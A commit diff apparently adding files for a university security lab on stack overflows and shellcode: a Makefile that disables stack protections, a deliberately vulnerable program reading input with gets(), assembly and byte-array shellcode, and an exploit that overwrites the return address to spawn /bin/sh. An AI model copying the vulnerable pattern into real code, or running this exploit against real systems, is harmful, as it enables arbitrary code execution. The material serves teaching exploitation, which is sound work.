Add TD5 q3 (first part)

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/Makefile

@@ -0,0 +1,44 @@
+# CC = gcc
+CFLAGS = -g -zexecstack
+SFLASG = 
+SRC = $(wildcard *.c) $(wildcard *.s)
+TGT = $(subst .c,,$(subst. .S,,$(SRC)))
+BUILD_DIR = build
+DUMP_DIR = dump
+
+
+pframe:
+	curl -o pframe.tgz  https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
+		tar -xf pframe.tgz &&\
+		rm -rf pframe.tgz
+
+.gdbinit:
+
+configure: pframe .gdbinit
+	$(shell echo "python import pframe" > .gdbinit) 
+
+$(BUILD_DIR)/%: %.c
+	$(shell mkdir -p $(BUILD_DIR))
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BUILD_DIR)/%: %.S
+	$(shell mkdir -p $(BUILD_DIR))
+	$(CC) -g $< -o $@ -static -nostdlib
+
+build: $(addprefix $(BUILD_DIR)/, $(TGT))
+
+PHONY: gdb
+gdb: build/shellcode configure
+	PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
+		   setarch -R gdb ./$(BUILD_DIR)/shellcode
+
+PHONY: opcode
+opcode: build/shellcode
+	readelf -x .text build/shellcode | sed -e '$$ d' -e '1,2 d' \
+		| awk '{$$1=$$6=""; print $$0}' \
+		| tr -d '[ \n]' \
+		| sed 's/../0x&,/g' > opcode.txt
+
+PHONY: clean
+clean:
+	@rm -rf $(BUILD_DIR) pframe .gdbinit opcode.txt

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/anodin.c

@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+int litentier(void) {
+	unsigned char buf[64];
+	int i;
+	printf("%p\n", buf);
+	printf("> ");
+	fflush(stdout);
+	gets(buf);
+	i=atoi(buf);
+	return i;
+}
+
+int main(int argc, char *argv[]) {
+	while (1) {
+		int i;
+		i = litentier();
+		printf("ok %d\n", i);
+	}
+}

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit-test.c

@@ -0,0 +1,10 @@
+int main() {
+unsigned char shellcode[] = {
+    0xe8,0x09,0x00,0x00,0x00,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x00,
+    0x5f,0x48,0xc7,0xc6,0xb6,0x01,0x00,0x00,0x48,0xc7,0xc0,0x55,0x00,0x00,
+    0x00,0x0f,0x05,0xc3,0x48,0xc7,0xc7,0x2a,0x00,0x00,0x00,0x48,0xc7,0xc0,
+    0x3c,0x00,0x00,0x00,0x0f,0x05
+};
+(*(void(*)()) shellcode)();
+return 0;
+}

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/exploit.c

@@ -0,0 +1,62 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+
+unsigned char exploit[1024] = {
+	0x90, 0x90, 0x90, 0x90,		// A few nops for some margin
+	0x90, 0x90, 0x90, 0x90,
+	0x90, 0x90, 0x90, 0x90,
+	0x90, 0x90, 0x90, 0x90,
+
+#ifdef __x86_64__
+	/* 64 bit version */
+	0xe8, 0x08, 0x00, 0x00, 0x00,	// push the address of what is next
+	'/','b','i','n','/','s','h','\0',
+	0x5f,				// pop the address
+	0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00,	// execve system call
+	0x6a, 0x00,			// push NULL at the end of the array
+	0x48, 0x89, 0xe2,		// envp
+	0x57,				// push adress
+	0x48, 0x89, 0xe6,		// argv
+	0x0f, 0x05,			// system call!
+#else
+	/* 32 bit version */
+	0xe8, 0x08, 0x00, 0x00, 0x00,	// push the address of what is next
+	'/','b','i','n','/','s','h','\0',
+	0x5b,				// pop the adress
+	0xb8, 0x0b, 0x00, 0x00, 0x00,	// execve system call
+	0x6a, 0x00,			// push NULL at the end of the array
+	0x89, 0xe2,			// envp
+	0x53,				// push adress
+	0x89, 0xe1,			// argv
+	0xcd, 0x80,			// system call!
+#endif
+};
+
+int main(void) {
+	int i;
+	void **exploit_ptr = (void*) &exploit;
+	void *ptr;
+
+	fprintf(stderr,"Type the buf address printed by anodin\n");
+	scanf("%p", &ptr);
+
+	// Un peu de marge
+	ptr += 8;
+
+	// écraser l'adresse de retour
+	for (i = 0; i < 8; i++)
+		exploit_ptr[64/sizeof(void*)+i] = ptr;
+
+	for (i=0;i<sizeof(exploit);i++)
+		putchar(exploit[i]);
+
+	for (i=0;i<8192;i++)
+		putchar('\n');
+
+	printf("touch /tmp/ahah\n");
+	printf("echo \"I created file\" /tmp/ahah \\!\n");
+	fflush(stdout);
+
+	return 0;
+}

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S

@@ -0,0 +1,20 @@
+.text
+.globl _start
+
+_start:
+    call pwnd
+	.asciz "/tmp/pwn"
+
+pwnd:
+    # We are on x86_64, we must move 8 bytes up from stack pointer
+    popq %rdi
+    movq $0666, %rsi
+    movq $85, %rax
+    syscall
+    ret
+
+    # exit(42)
+	movq $42, %rdi
+	movq $60, %rax
+	syscall
+

content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S.origin

@@ -0,0 +1,19 @@
+.data
+.globl filename
+filename:
+	.asciz "/tmp/pwn"
+
+.text
+.globl _start
+
+_start:
+	# creat("/tmp/pwn", 0666)
+	movq $0666, %rsi     # read-write perms
+	movq $filename, %rdi  # name of file
+	movq $85, %rax         # system call number (sys_creat)
+	syscall             # call kernel
+
+	# exit(42)
+	movq $42, %rdi        # set return code to 42
+	movq $60, %rax         # system call number (sys_exit)
+	syscall             # call kernel